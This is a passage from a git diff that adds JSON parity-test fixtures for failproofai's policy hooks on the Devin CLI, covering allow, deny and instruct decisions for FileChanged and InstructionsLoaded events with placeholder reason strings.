"instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..dc470709 --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1b1702ea --- /dev/null +++ b/__tests__/parity/fixtures/devin/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..235b5a22 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..fb33c1a2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a6cc297d --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4518a38b --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..9b09728d --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..cd733457 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..ba483dc9 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d0cc677b --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3c257bad --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..5aa72512 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b933ae9c --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ab0a5915 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f7609e17 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ec91f500 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6da8a519 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c1f081d4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ 